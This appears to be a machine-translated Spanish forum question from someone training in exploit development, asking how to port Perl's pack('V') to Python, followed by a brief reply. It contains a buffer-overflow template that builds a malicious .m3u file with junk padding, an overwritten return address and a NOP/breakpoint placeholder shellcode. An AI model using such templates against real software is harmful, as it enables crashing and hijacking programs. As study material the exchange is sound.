He estado trabajando en algún desarrollo de exploits recientemente para prepararme para un curso de capacitación, y he tenido un problema con un tutorial. He estado siguiendo junto con todos los tutoriales que puedo encontrar, usando Python en lugar del idioma que usaron los tutoriales, fuera de la preferencia. Estoy tratando de codificar todo, pero no puedo descifrar cómo se correlaciona la función de Perl's Pack().Perl's Pack ('V') función en Python?
TL; DR: estoy tratando de traducir esto a Python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
que he encontrado la función de Python struct.pack(), pero cuando se utiliza
Fuzzed.write(struct.pack('V', 0x773D10A4))
, detiene el programa y no funciona. ¿Qué estoy haciendo mal?
Ésta es toda mi código fuente
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
¿De dónde sacaste 'V' como personaje de formato? ¿Qué tipo se supone que representa? Use 'I' para' unsigned int' (4 bytes). –